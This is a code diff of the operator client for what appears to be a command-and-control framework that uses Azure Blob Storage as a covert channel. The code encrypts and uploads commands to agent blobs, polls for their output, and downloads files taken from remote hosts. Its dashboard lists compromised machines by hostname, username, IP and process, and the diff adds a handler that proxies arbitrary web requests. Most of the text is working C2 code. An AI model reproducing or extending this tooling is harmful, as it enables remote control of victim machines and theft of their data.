//let waittime = 500; - const startTime = Date.now(); - let currentTime; - let elapsed; - - while(true) - { - let command_output = await readBlob(containerCommand.name,containerCommand.blobs['out'],config); - if (command_output === null) - { - return null; - } - //log(`Read Blob Response : ${JSON.stringify(command_output)}`); - // console.log(`Contents of ${outputblob} output blob : ${command_output.data}`); - if (command_output['data']) - { - let encrypted_out_data = decodeBase64(command_output['data']); - //console.log("Encrypted Checkin Data : ",encrypted_checkin); - decrypted_out_data = await aesDecrypt(encrypted_out_data,aes_key_bytes,aes_iv_bytes); - //console.log(decrypted_out_data); - await clearBlob(containerName,outputblob,config); - break; - } - //await new Promise(resolve => setTimeout(resolve, 200)); - currentTime = Date.now(); - elapsed = (currentTime - startTime)/1000; - let waittime = 90; - if (containerCommand.cmd.includes("scan ")) - { - waittime = 300; - } - if(elapsed > waittime) + let containerCommand = JSON.parse(containerCmd); + const aes_key_bytes = Buffer.from(containerCommand.key['key'], 'hex'); + const aes_iv_bytes = Buffer.from(containerCommand.key['iv'], 'hex'); + const inputblob = containerCommand.blobs['in']; + const outputblob = containerCommand.blobs['out']; + const containerName = containerCommand.name; + console.log(`${inputblob} ${outputblob} ${containerName}`); + const encryptedData = await aesEncrypt(containerCommand.cmd,aes_key_bytes,aes_iv_bytes); + const b64EncData = encodeBase64(encryptedData); + let response = await UploadBlobToContainer(containerCommand.name,containerCommand.blobs['in'],b64EncData,config); + if(response.status != 201) { - decrypted_out_data = "No response for command."; - break; + log(`azure.js | uploadCommand() | ${response.status} | [!] Failed to upload command to container ${containerName}`); + return null; } - } - return decrypted_out_data; + let decrypted_out_data; + const startTime = Date.now(); + let currentTime; + let elapsed; + while(true) + { + let command_output = await readBlob(containerCommand.name,containerCommand.blobs['out'],config); + if (command_output === null) + { + return null; + } + if (command_output['data']) + { + let encrypted_out_data = decodeBase64(command_output['data']); + decrypted_out_data = await aesDecrypt(encrypted_out_data,aes_key_bytes,aes_iv_bytes); + await clearBlob(containerName,outputblob,config); + break; + } + currentTime = Date.now(); + elapsed = (currentTime - startTime)/1000; + let waittime = 90; + if (containerCommand.cmd.includes("scan ")) + { + waittime = 300; + } + if(elapsed > waittime) + { + decrypted_out_data = "No response for command."; + break; + } + } + return decrypted_out_data; } async function pullDownloadFile(containerCmd,filename,blob,config) { try{ log(`azure.js | pullDownloadFile()`); - let StorageAccount = config.storageAccount; - let sasToken = config.sasToken; - + let StorageAccount = config.storageAccount; + let sasToken = config.sasToken; let containerCommand = JSON.parse(containerCmd); let baseFileName = path.basename(filename); - // if (baseFileName.startsWith("'") && baseFileName.endsWith("'")) { - // baseFileName = baseFileName.slice(1, -1); - // } - // if (baseFileName.startsWith('"') && baseFileName.endsWith('"')) { - // baseFileName = baseFileName.slice(1, -1); - // } - // if (baseFileName.endsWith("'") || baseFileName.endsWith('"')) { - // return baseFileName.slice(0, -1); - // } - log(`pullDownloadFile() | filename : ${filename}`); log(`pullDownloadFile() | blob : ${blob}`); log(`pullDownloadFile() | command info : ${JSON.stringify(containerCommand)}`); const aes_key_bytes = Buffer.from(containerCommand.key['key'], 'hex'); const aes_iv_bytes = Buffer.from(containerCommand.key['iv'], 'hex'); - let decrypted_out_data; let raw; - - // Ensure the directory exists if (!fs.existsSync(directories.downloadsDir)) { fs.mkdirSync(directories.downloadsDir, { recursive: true }); } - const destPath = path.join(directories.downloadsDir, baseFileName); - - // let destFilename = path.basename(filename); - // let destPath = `./downloads/${destFilename}`; - const url = `https://${StorageAccount}/${containerCommand.name}/${blob}?${sasToken}`; log(`pullDownloadFile() | URL : ${url}`); let buffer; let index = 1; - - while(true) - { - // let response = await readBlob(containerCommand.name,blob); - // //let command_output = await readBlob(containerCommand.name,blob); - // console.log(`[+] pullDownloadFile() | Check blob ${blob} for download file`); - // if (response.statusCode == 200) - // { - let response = await fetch(url); - if (!response.ok) { - log(`pullDownloadFile loop : ${index} | Failed to download file. Sleeping for 3 seconds and trying again. Status: ${response.status} ${response.statusText}`); - await new Promise(resolve => setTimeout(resolve, 3000)); - }else - { - let arrayBuffer = await response.arrayBuffer(); - buffer = Buffer.from(arrayBuffer); - break; - //await fsp.writeFile(downloadPath, buffer); - //log('File downloaded and saved successfully.'); - } - index +=1; - - // console.log(`|__ Hit 200 response for download blob ${blob}`); - // //let enc_b64_data = Buffer.from(response.data); - // console.log(`|__ Encrypted b64 file : ${response.data}`); - // //let enc_data = decodeBase64(response.data); - // //let encryptedText = Buffer.from(response.data, 'hex'); - // raw = response.data; - - //raw = aesDecrypt( Buffer.from(encryptedText), aes_key_bytes, aes_iv_bytes ); - //let encrypted_out_data = decodeBase64(command_output['data']); - //console.log("Encrypted Checkin Data : ",encrypted_checkin); - // decrypted_out_data = aesDecrypt(command_output['data'],aes_key_bytes,aes_iv_bytes); - // await clearBlob(containerName,blob); - // } - } - raw = await aesDecrypt( buffer, aes_key_bytes, aes_iv_bytes ); - await fsp.writeFile(destPath, raw, (err) => { - log(`Error writing file: ${err.stack}`); - }); - log(`File ${destPath} has been saved.`); - }catch(error) - { - log(`pullDownloadFile() Error: ${error} ${error.stack}`); - } + while(true) + { + let response = await fetch(url); + if (!response.ok) { + log(`pullDownloadFile loop : ${index} | Failed to download file. Sleeping for 3 seconds and trying again. Status: ${response.status} ${response.statusText}`); + await new Promise(resolve => setTimeout(resolve, 3000)); + }else + { + let arrayBuffer = await response.arrayBuffer(); + buffer = Buffer.from(arrayBuffer); + break; + } + index +=1; + } + raw = await aesDecrypt( buffer, aes_key_bytes, aes_iv_bytes ); + await fsp.writeFile(destPath, raw, (err) => { + log(`Error writing file: ${err.stack}`); + }); + log(`File ${destPath} has been saved.`); + }catch(error) + { + log(`pullDownloadFile() Error: ${error} ${error.stack}`); + } } async function uploadSCToAzure(containerCmd, StorageBlob, filePath,config) { let StorageAccount = config.storageAccount; let sasToken = config.sasToken; - let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`); - try { - let containerCommand = JSON.parse(containerCmd); - const aes_key_bytes = Buffer.from(containerCommand.key['key'], 'hex'); - const aes_iv_bytes = Buffer.from(containerCommand.key['iv'], 'hex'); - // Read the file content - const fileContent = await fsp.readFile(filePath); - const enc = await aesEncrypt( fileContent, aes_key_bytes, aes_iv_bytes ); - const sasUrl = `https://${StorageAccount}/${containerCommand.name}/${StorageBlob}?${sasToken}`; - const response = await fetch(sasUrl, { - port: 443, - method: 'PUT', - headers: { - 'x-ms-blob-type': 'BlockBlob', - 'Content-Type': 'application/octet-stream' - }, - body: enc - }); - log(`response ${response.ok}`); - } catch (error) { - output = `Error uploading file to azure : ${error.stack}`; - log(`azure.js | uploadSCToAzure()\r\nError ${output}`); - } + try { + let containerCommand = JSON.parse(containerCmd); + const aes_key_bytes = Buffer.from(containerCommand.key['key'], 'hex'); + const aes_iv_bytes = Buffer.from(containerCommand.key['iv'], 'hex'); + const fileContent = await fsp.readFile(filePath); + const enc = await aesEncrypt( fileContent, aes_key_bytes, aes_iv_bytes ); + const sasUrl = `https://${StorageAccount}/${containerCommand.name}/${StorageBlob}?${sasToken}`; + const response = await fetch(sasUrl, { + port: 443, + method: 'PUT', + headers: { + 'x-ms-blob-type': 'BlockBlob', + 'Content-Type': 'application/octet-stream' + }, + body: enc + }); + log(`response ${response.ok}`); + } catch (error) { + output = `Error uploading file to azure : ${error.stack}`; + log(`azure.js | uploadSCToAzure()\r\nError ${output}`); + } } async function uploadFileToAzure(containerCmd, StorageBlob, filePath,config) { let StorageAccount = config.storageAccount; let sasToken = config.sasToken; - let blobServiceClient = new BlobServiceClient(`https://${StorageAccount}?${sasToken}`); + try { + let containerCommand = JSON.parse(containerCmd); + const aes_key_bytes = Buffer.from(containerCommand.key['key'], 'hex'); + const aes_iv_bytes = Buffer.from(containerCommand.key['iv'], 'hex'); + const fileContent = await fsp.readFile(filePath); + const enc = await aesEncrypt( fileContent, aes_key_bytes, aes_iv_bytes ); + const sasUrl = `https://${StorageAccount}/${containerCommand.name}/${StorageBlob}?${sasToken}`; + const response = await fetch(sasUrl, { - try { - let containerCommand = JSON.parse(containerCmd); - const aes_key_bytes = Buffer.from(containerCommand.key['key'], 'hex'); - const aes_iv_bytes = Buffer.from(containerCommand.key['iv'], 'hex'); - // Read the file content - const fileContent = await fsp.readFile(filePath); - const enc = await aesEncrypt( fileContent, aes_key_bytes, aes_iv_bytes ); - const sasUrl = `https://${StorageAccount}/${containerCommand.name}/${StorageBlob}?${sasToken}`; - const response = await fetch(sasUrl, { - - //hostname: config['storageAccount'], - port: 443, - //path: `/${containerName}/${uploadblob}?${config['SASToken']}`, - method: 'PUT', - headers: { - 'x-ms-blob-type': 'BlockBlob', - 'Content-Type': 'application/octet-stream' - }, - body: enc - }); - - } catch (error) { - output = `Error uploading file to azure : ${error.stack}`; - log(`azure.js | uploadFileToAzure()\r\nError ${output}`); - //common.logToFile( output ); - } + port: 443, + method: 'PUT', + headers: { + 'x-ms-blob-type': 'BlockBlob', + 'Content-Type': 'application/octet-stream' + }, + body: enc + }); + } catch (error) { + output = `Error uploading file to azure : ${error.stack}`; + log(`azure.js | uploadFileToAzure()\r\nError ${output}`); + } } module.exports = { getContainerBlobs, preloadContainers, UploadBlobToContainer, readBlob, - listBlobsInContainer, + updateDashboardTable, checkinContainer, getContainerAesKeys, uploadCommand, diff --git a/client/dashboard.js b/client/dashboard.js index 7e56938..bdf77ef 100644 --- a/client/dashboard.js +++ b/client/dashboard.js @@ -4,13 +4,11 @@ const path = require('path'); const { log } = require('console'); const { getAppDataDir } = require('./common'); const directories = getAppDataDir(); -const logFile = path.join(directories.downloadsDir, 'dashboard.js.log'); let tableinit = false; -function logMain(message) +function log(message) { const timestamp = new Date().toISOString(); - //fs.appendFileSync(logFile, `[${timestamp}] ${message}\n`); log(`[${timestamp}] ${message}`); } @@ -54,7 +52,7 @@ window.addEventListener('DOMContentLoaded', () => { sortState.column = column; sortState.order = 'asc'; } - logMain(`${sortState['column']} column sort set to ${sortState['order']}`); + log(`${sortState['column']} column sort set to ${sortState['order']}`); updateTableSort(); }); }); @@ -116,7 +114,7 @@ window.addEventListener('DOMContentLoaded', async () => { sortState.column = column; sortState.order = 'asc'; } - logMain(`${sortState['column']} column sort set to ${sortState['order']}`); + log(`${sortState['column']} column sort set to ${sortState['order']}`); updateTableSort(); }); @@ -132,7 +130,7 @@ window.addEventListener('DOMContentLoaded', async () => { async function initTable() { try { - //logMain("sent IPC for get-containers"); + //log("sent IPC for get-containers"); let agentinit = null; while(agentinit == null) { @@ -155,9 +153,9 @@ window.addEventListener('DOMContentLoaded', async () => { thisrow.cells[7].textContent = ''; thisrow.cells[8].textContent = ''; }); - //logMain('Table updated with init agent data'); + //log('Table updated with init agent data'); } catch (error) { - logMain(`Error in index.js initTable() updating table: ${error} ${error.stack}`); + log(`Error in index.js initTable() updating table: ${error} ${error.stack}`); } } @@ -168,8 +166,8 @@ window.addEventListener('DOMContentLoaded', async () => { //log(`updateTable() : agentcheckins : ${agentcheckins}`); const table = document.getElementById('containerTable'); // Ensure this matches your table ID - //logMain(`table : ${table.innerText}`); - //logMain(`agentcheckins : ${agentcheckins}`); + //log(`table : ${table.innerText}`); + //log(`agentcheckins : ${agentcheckins}`); if (agentcheckins == 0) { //log(`updateTable() : agentcheckins == 0; agentcheckins : ${agentcheckins}`); @@ -178,7 +176,7 @@ window.addEventListener('DOMContentLoaded', async () => { // table.deleteRow(1); // } - //logMain("Table cleared since there are no agents present."); + //log("Table cleared since there are no agents present."); } else { //log(`updateTable() : agentcheckins != 0; agentcheckins : ${agentcheckins}`); const agents = JSON.parse(agentcheckins); @@ -189,7 +187,7 @@ window.addEventListener('DOMContentLoaded', async () => { // } let agent_index = 0; agents.forEach(agent => { - //logMain(`agent ${agent_index}: ${JSON.stringify(agent)}`); + //log(`agent ${agent_index}: ${JSON.stringify(agent)}`); agent_index++; if (agent != 0) { @@ -197,13 +195,13 @@ window.addEventListener('DOMContentLoaded', async () => { let isnewrow = false; if (thisrow.cells[2].textContent == '-' || !thisrow.cells[0].textContent) { - //logMain("this is a new row."); + //log("this is a new row."); isnewrow = true; } // Get the process base name from absolute path const filePath = agent.Process.trim(); // Ensure the string is clean - //logMain(`Original Path: ${filePath}`); + //log(`Original Path: ${filePath}`); let fileName; // Detect which type of path is present and use the appropriate method if (filePath.includes("\\") && !filePath.includes("/")) { @@ -216,7 +214,7 @@ window.addEventListener('DOMContentLoaded', async () => { // Mixed slashes case (or unknown) fileName = filePath.split(/[/\\]/).pop(); // Manually extract filename } - //logMain(`Extracted File Name: ${fileName}`); + //log(`Extracted File Name: ${fileName}`); let platformName = agent.platform; // Default to the original value if (agent.platform === "darwin") { @@ -227,7 +225,7 @@ window.addEventListener('DOMContentLoaded', async () => { platformName = "Linux"; } thisrow.cells[0].textContent = agent.agentid; - thisrow.cells[1].textContent = agent.containerid; + thisrow.cells[1].textContent = agent.container; thisrow.cells[2].textContent = agent.hostname; thisrow.cells[3].textContent = agent.username; thisrow.cells[4].textContent = fileName; @@ -235,7 +233,7 @@ window.addEventListener('DOMContentLoaded', async () => { thisrow.cells[6].textContent = agent.IP; thisrow.cells[7].textContent = agent.arch; thisrow.cells[8].textContent = platformName; // Set formatted platform name - thisrow.cells[9].textContent = timeDifference(agent.checkIn); + thisrow.cells[9].textContent = timeDifference(agent.checkin); // if (isnewrow) { // thisrow.addEventListener('click', () => { @@ -244,10 +242,10 @@ window.addEventListener('DOMContentLoaded', async () => { thisrow.replaceWith(thisrow.cloneNode(true)); // Remove previous listeners //thisrow = document.querySelector("#yourRowId"); // Re-select the element let table = document.getElementById('containerTable').getElementsByTagName('tbody')[0]; - //logMain(`Attempting to find match in table for agent ${agent.agentid}`); + //log(`Attempting to find match in table for agent ${agent.agentid}`); for (let row of table.rows) { - //logMain(`row.cells[0].textContent ${row.cells[0].textContent} =? ${agent.agentid}`); + //log(`row.cells[0].textContent ${row.cells[0].textContent} =? ${agent.agentid}`); if (row.cells[0].textContent == agent.agentid) { thisrow = row; break; @@ -256,7 +254,7 @@ window.addEventListener('DOMContentLoaded', async () => { thisrow.addEventListener('click', () => { console.log("Row clicked!"); // Debugging: Check if it logs multiple times - ipcRenderer.send('open-container-window', JSON.stringify(agent)); + ipcRenderer.send('open-container-window', agent.agentid); }, { once: true }); // Ensures it only triggers once per element @@ -267,7 +265,7 @@ window.addEventListener('DOMContentLoaded', async () => { tableinit = true; } }catch (error) { - logMain(`Error in index.js updateTable() updating table: ${error} ${error.stack}`); + log(`Error in index.js updateTable() updating table: ${error} ${error.stack}`); } } @@ -277,20 +275,20 @@ window.addEventListener('DOMContentLoaded', async () => { let rowExists = false; let thisRow; let table = document.getElementById('containerTable').getElementsByTagName('tbody')[0]; - //logMain(`Attempting to find match in table for agent ${agent.agentid}`); + //log(`Attempting to find match in table for agent ${agent.agentid}`); for (let row of table.rows) { - //logMain(`row.cells[0].textContent ${row.cells[0].textContent} =? ${agent.agentid}`); + //log(`row.cells[0].textContent ${row.cells[0].textContent} =? ${agent.agentid}`); if (row.cells[0].textContent == agent.agentid) { thisRow = row; rowExists = true; - //logMain(`Matched row for agent ${agent.agentid}`); + //log(`Matched row for agent ${agent.agentid}`); break; } } if(!rowExists) { - //logMain(`Failed to match row for agent ${agent.agentid}`); + //log(`Failed to match row for agent ${agent.agentid}`); thisRow = table.insertRow(); thisRow.insertCell(0); thisRow.insertCell(1); @@ -306,7 +304,7 @@ window.addEventListener('DOMContentLoaded', async () => { return thisRow; }catch(error) { - logMain(`Error in updateOrAddRow() : ${error} ${error.stack}`); + log(`Error in updateOrAddRow() : ${error} ${error.stack}`); } } @@ -347,17 +345,62 @@ window.addEventListener('DOMContentLoaded', async () => { await updateTable(); // Update the table every second - setInterval(updateTable, 3000); + setInterval(updateTable, 2000); }); ipcRenderer.on('remove-table-row', (event, agentId) => { - logMain(`Removing row for agent ID: ${agentId}`); + log(`Removing row for agent ID: ${agentId}`); let table = document.getElementById('containerTable').getElementsByTagName('tbody')[0]; for (let row of table.rows) { if (row.cells[0].textContent.trim() === agentId.trim()) { row.remove(); // Remove the row from the table - logMain(`Row for agent ${agentId} removed.`); + log(`Row for agent ${agentId} removed.`); break; } } }); + +ipcRenderer.on('make-web-request', async (event, requestOptions) => { + try { + const { url, method = 'GET', headers = {}, body, requestId } = requestOptions; + const defaultHeaders = { + 'Cache-Control': 'no-cache, no-store, must-revalidate', + 'Pragma': 'no-cache', + 'Expires': '0' + }; + const fetchOptions = { + method, + headers: { ...defaultHeaders, ...headers } + }; + if (body !== undefined) { + fetchOptions.body = body; + } + const response = await fetch(url, fetchOptions); + let data = ""; + const contentType = response.headers.get('content-type'); + if (contentType && ( + contentType.includes('application/octet-stream') || + contentType.includes('application/x-binary') || + contentType.includes('application/x-msdownload') || + contentType.includes('application/zip') || + contentType.includes('application/pdf') || + contentType.includes('image/') || + contentType.includes('video/') || + contentType.includes('audio/') + )) { + const arrayBuffer = await response.arrayBuffer(); + data = Buffer.from(arrayBuffer); + } else { + data = await response.text(); + } + ipcRenderer.send(`web-request-response-${requestId}`, { + status: response.status, + headers: Object.fromEntries(response.headers.entries()), + data: data + }); + } catch (error) { + ipcRenderer.send(`web-request-response-${requestId}`, { + error: error.message + }); + } +}); diff --git a/client/explorer.js b/client/explorer.js index 784f04f..84fbd25 100644 --- a/client/explorer.js +++ b/client/explorer.js @@ -285,8 +285,8 @@ ipcRenderer.on('command-output', (event, output) => { if (!output.endsWith("/")) { output += "/"; } - //document.getElementById("dirPath").value = output; - document.getElementById("dirPath").value = "C:/"; + document.getElementById("dirPath").value = output; + //document.getElementById("dirPath").value = "C:/"; pwd = output; listFiles(); } diff --git a/client/kernel.js b/client/kernel.js index fd75842..fb77ac5 100644 --- a/client/kernel.js +++ b/client/kernel.js @@ -2,19 +2,51 @@ const { app, BrowserWindow, ipcMain, Menu, clipboard, shell, dialog } = require( const fs = require('fs'); const path = require('path'); const az = require('./azure'); -const {Agent,Container} = require('./agent'); const { getAppDataDir } = require('./common'); const directories = getAppDataDir(); -let config = require(directories.configFilePath); +global.config = require(directories.configFilePath); const agents = []; let metaContainer = config.metaContainer; let win; global.agentids = []; global.agentwindows = 0; global.agentWindowHandles = {}; // Store windows by agentID +global.dashboardWindow = null; +global.agents = []; + +class Container +{ + constructor(name, key = {}, blobs = {}) + { + this.name = null || name; + this.key = {} || key; + this.blobs = {} || blobs; + } + + setName(name) { + this.name = name; + } + setKey(key) { + this.key = { + 'key' : key.key, + 'iv' : key.iv + }; + } +} + +class Agent +{ + constructor(agentId, containerObject) + { + this.agentid = null || agentId; + this.container = null || containerObject; + this.BrowserWindow = null; + } + +} function createDashboardWindow() { - win = new BrowserWindow({ + global.dashboardWindow = new BrowserWindow({ width: 1792, height: 1037, webPreferences: { @@ -23,15 +55,14 @@ function createDashboardWindow() { nodeIntegration: true, // Enable Node.js integration in the renderer process }, }); - win.loadFile('dashboard.html'); + global.dashboardWindow.loadFile('dashboard.html'); console.log('Main window created'); } -async function createContainerWindow(thisagent) { - let this_agent = JSON.parse(thisagent); +async function createContainerWindow(thisagentid) { let exists = false; for (let i = 0; i < agents.length; i++) { - if (agents[i].agentid === this_agent.agentid) + if (agents[i].agentid === thisagentid) { console.log(`agent with agentid ${this_agent.agentid} already exists in agents[${i}]`); exists = true; @@ -48,40 +79,33 @@ async function createContainerWindow(thisagent) { nodeIntegration: true, // Enable Node.js integration in the renderer process }, }); - const container_blobs = await az.getContainerBlobs(this_agent.containerid,config); - console.log(`${this_agent.containerid} container key blob : ${container_blobs['key']}`); - const container_key = await az.getContainerAesKeys(this_agent.containerid,container_blobs['key'],config); - let containerObject = new Container(this_agent.containerid,container_key,container_blobs); - let agent = new Agent(this_agent.agentid,containerObject); + let thisAgent = global.agents.find(agent => agent.agentid === thisagentid); + + let containerObject = new Container(thisAgent.container,thisAgent.aes,thisAgent.blobs); + let agent = new Agent(thisAgent.agentid,containerObject); agent.BrowserWindow = containerWin; agents.push(agent); - global.agentWindowHandles[this_agent.agentid] = containerWin; + global.agentWindowHandles[thisAgent.agentid] = containerWin; - agent.container.blobs['key'] = container_blobs['key']; - agent.container.blobs['checkin'] = container_blobs['checkin']; - agent.container.blobs['in'] = container_blobs['in']; - agent.container.blobs['out'] = container_blobs['out']; + agent.container.blobs['key'] = thisAgent.blobs['key']; + agent.container.blobs['checkin'] = thisAgent.blobs['checkin']; + agent.container.blobs['in'] = thisAgent.blobs['in']; + agent.container.blobs['out'] = thisAgent.blobs['out']; for (const key in agent.container.blobs) { if (agent.container.blobs.hasOwnProperty(key)) { console.log(`${key}: ${agent.container.blobs[key]}`); } } - agent.container.key['key'] = container_key['key']; - agent.container.key['iv'] = container_key['iv']; + agent.container.key['key'] = thisAgent.aes['key']; + agent.container.key['iv'] = thisAgent.aes['iv']; - let checkinData = await az.checkinContainer(agent.container.name, agent.container.key, agent.container.blobs,config); - let agentObj = JSON.parse(checkinData); - agentObj.agentid = agent.agentid; - agentObj.containerid = agent.container.name; - agentObj.key = agent.container.key['key']; - agentObj.iv = agent.container.key['iv']; - let startupdata = JSON.stringify(agentObj); + let startupdata = JSON.stringify(thisAgent); global.agentwindows++; containerWin.loadFile('agent-window.html').then(() => { containerWin.webContents.send('container-data', agent.container.name, agent.container.key, agent.container.blobs,startupdata); }); - console.log(`Container window created for container: ${this_agent.containerid}`); + console.log(`Container window created for container: ${thisAgent.container}`); console.log(`Number of agent windows : ${global.agentwindows}`); containerWin.on('close', async (event) => { @@ -107,11 +131,6 @@ async function createContainerWindow(thisagent) { console.log(`${agentid} removed from the array.`); global.agentids.pop(agentid); } - // global.agentwindows = 0; - // global.agentids.length = 0; - // agents.length = 0; - //console.log(`IPC force-close : agentid : ${agentid}`); - //containerWin.destroy(); // Force close after confirmation const agentWindow = global.agentWindowHandles[agentid]; if (agentWindow) { agentWindow.destroy(); // Force close after confirmation @@ -134,7 +153,7 @@ async function createExplorerWindow(thisagent) { webPreferences: { contextIsolation: false, enableRemoteModule: true, - nodeIntegration: true, // Enable Node.js integration in the renderer process + nodeIntegration: true, }, }); console.log(`Agent Data : ${JSON.stringify(this_agent)}`); @@ -167,9 +186,6 @@ async function createExplorerWindow(thisagent) { ExplorerWin.loadFile('explorer.html').then(() => { ExplorerWin.webContents.send('container-data', agent.container.name, agent.container.key, agent.container.blobs,startupdata); }); - // console.log(`Container window created for container: ${this_agent.containerid}`); - // console.log(`Number of agent windows : ${global.agentwindows}`); - ExplorerWin.on('close', async (event) => { }); } @@ -302,43 +318,38 @@ ipcMain.handle('preload-agents', async () => { // Fetch container data and send it to the renderer process ipcMain.handle('get-containers', async () => { - let blobs = await az.listBlobsInContainer(metaContainer,config); + let blobs = await az.updateDashboardTable(metaContainer,config); //console.log(`IPC get-containers : agent checkin blobs : ${blobs}`); return blobs; }); ipcMain.handle('get-agent-checkin', async (event, agentid) => { - let agentcheckin = await az.returnAgentCheckinInfo(metaContainer,agentid,config); - return agentcheckin; + let thisAgent = global.agents.find(agent => agent.agentid === agentid); + let agentCheckin = await az.returnAgentCheckinInfo(thisAgent.container,thisAgent.blobs['in']); + thisAgent.checkin = agentCheckin; + return JSON.stringify(thisAgent); }); -ipcMain.on('open-container-window', async (event, thisagent) => { - console.log(`IPC Open Container Window : ${thisagent}`); +ipcMain.on('open-container-window', async (event, thisagentid) => { + console.log(`IPC Open Container Window : ${thisagentid}`); - let this_agent = JSON.parse(thisagent); + // let this_agent = JSON.parse(thisagent); let window_exists = false; if (global.agentwindows === 0) { global.agentids.length = 0; } - console.log(`agentids[] : ${global.agentids}`); - if (!global.agentids.includes(this_agent.agentid)) { - global.agentids.push(this_agent.agentid); - console.log(`${this_agent.agentid} added to the array.`); + console.log(`agentids[] : ${thisagentid}`); + if (!global.agentids.includes(thisagentid)) { + global.agentids.push(thisagentid); + console.log(`${thisagentid} added to the array.`); } else { - console.log(`${this_agent.agentid} already exists.`); + console.log(`${thisagentid} already exists.`); window_exists = true; } - - // console.log(`agentwindows : ${agentwindows}`); - //console.log(`agents : ${JSON.stringify(agents)}`); - // for (let i = 0; i < global.agentwindows; i++) { - // console.log(`agent[${i}] : ${JSON.stringify(agents[i])}`); - // console.log(`agent[${i}].agentid : ${agents[i].agentid}`); - // console.log(`this_agent.agentid : ${this_agent.agentid}`); - const agentWindow = global.agentWindowHandles[this_agent.agentid]; - if (global.agentWindowHandles[this_agent.agentid] !== undefined) + const agentWindow = global.agentWindowHandles[thisagentid]; + if (global.agentWindowHandles[thisagentid] !== undefined) { window_exists = true; console.log(`window exists`); @@ -351,8 +362,7 @@ ipcMain.on('open-container-window', async (event, thisagent) => { // } if (window_exists == false) { - console.log(`Opening container window for container: ${this_agent.containerid}`); - setTimeout(() => { createContainerWindow(thisagent) }, 1000); // Simulate some delay before closing + setTimeout(() => { createContainerWindow(thisagentid) }, 1000); // Simulate some delay before closing } }); diff --git a/client/package.json b/client/package.json index 7ead3f1..1cd1ce4 100644 --- a/client/package.json +++ b/client/package.json @@ -52,9 +52,5 @@ "AppImage" ] } - }, - "dependencies": { - "@azure/storage-blob": "^12.23.0", - "https-proxy-agent": "^7.0.4" } }